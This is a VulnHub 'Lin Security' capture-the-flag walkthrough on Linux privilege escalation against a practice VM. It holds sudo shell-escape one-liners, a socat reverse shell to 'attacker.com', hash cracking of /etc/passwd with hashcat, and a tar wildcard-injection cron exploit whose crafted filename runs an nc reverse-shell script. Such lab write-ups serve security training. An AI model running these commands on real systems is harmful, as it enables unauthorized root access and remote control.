> For the complete documentation index, see [llms.txt](https://choochisiang.gitbook.io/report/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://choochisiang.gitbook.io/report/vulnhub/lin-security.md).

# Lin Security

Lin Security Vulnhub walkthrough

## Exploitation

This machine does not need enumeration because the author already gave us a credentials and this machine is let us to practice our privilege escalation skills

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8E-GN2ZBzEDuwUJPZE%2F-M8E6ff0NJjffGd36Bgm%2Fimage.png?alt=media\&token=cff148d4-2126-4f1c-90c4-9cb4b61a1a52)

After logged in using the credentials

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8E-GN2ZBzEDuwUJPZE%2F-M8E78LIvTSEXJLtCQmj%2Fimage.png?alt=media\&token=e7cd857b-b5d3-4bbc-8500-123bbd99dc9f)

## Privilege Escalation

we then can type sudo -l

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8E7HkeFPxKk8oY_3EE%2F-M8E7T8hRRsxYLkg6-uc%2Fimage.png?alt=media\&token=dc3d3d99-6054-47ac-9c54-635323b8e1ee)

We can see a lot of user rights exploit

### Method 1 ( User Rights)

We can go to this [website](https://gtfobins.github.io/) and get the cheat sheet from it hehe. A lot is very easy so we are not gonna cover everything.

#### /bin/ash

```
sudo ash
```

#### /bin/ed

```
sudo ed
!/bin/sh
```

#### /usr/bin/env

```
sudo env /bin/sh
```

#### /usr/bin/expect

```
sudo expect -c 'spawn /bin/sh; interact'
```

#### /usr/bin/find

```
sudo find . -exec /bin/sh \; -quit
```

#### /usr/bin/more

```
TERM= sudo -E more /etc/profile
!/bin/sh
```

#### /usr/bin/scp

```
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
```

#### /usr/bin/socat

On our machine

```
socat file:`tty`,raw,echo=0 tcp-listen:12345
```

On target machine

```
sudo sh -c 'cp $(which socat) .; chmod +s ./socat'

RHOST=attacker.com
RPORT=12345
./socat tcp-connect:$RHOST:$RPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane
```

#### /usr/bin/ssh

```
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
```

#### /usr/bin/pico

```
sudo pico
^R^X
reset; sh 1>&0 2>&0
```

#### /usr/bin/rvim

```
sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```

#### /usr/bin/tclsh

```
sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr
```

#### /usr/bin/git

```
sudo git -p help config
!/bin/sh
```

### Method 2 hash passwords

When we cat /etc/passwd, we can see all the users available in the system, then we can see a user has a hash

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8E7HkeFPxKk8oY_3EE%2F-M8EIu3PgJyhhqMoezQ2%2Fimage.png?alt=media\&token=2631916c-a505-4507-b036-0ad302332cec)

Put it at hashcat and we can decode the hash

```
hashcat AzER3pBZh6WZE -m 1500 /usr/share/wordlists/rockyou.txt
```

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8E7HkeFPxKk8oY_3EE%2F-M8EJ2yXuZKC795_mSMn%2Fimage.png?alt=media\&token=b2bbf8f6-4bfe-476d-a381-fee3b9ac2dea)

We got the password and `su` to user `insecurity`, then we can get root

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8E7HkeFPxKk8oY_3EE%2F-M8EJGKnRUHLezb6KUQk%2Fimage.png?alt=media\&token=0ca85c4a-ac34-4257-b3a8-5507dc47d1de)

### Method 3 cron jobs

If we type `cat /etc/crontab` we can see that there is a backup running every 1 minute

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8E7HkeFPxKk8oY_3EE%2F-M8ELWe6_QTrmtZGnkDr%2Fimage.png?alt=media\&token=1922e119-a04f-4aeb-af9f-d40ee6adbd18)

If we la -la /etc/backups

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8E7HkeFPxKk8oY_3EE%2F-M8ELysA_7TuIZSTzqHf%2Fimage.png?alt=media\&token=ba48f45d-7980-48bd-a26e-47e17fb7606f)

We can see that tar file. If you read this article on this [website](https://in.security/lin-security-walkthrough/), here we have a very details explanation

On our machine

```
nc -nlvp 9999
```

On target machine

```
echo "mkfifo /tmp/lhennp; nc 192.168.1.102 9999 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
```

After wait for 1 minute then we can get a shell.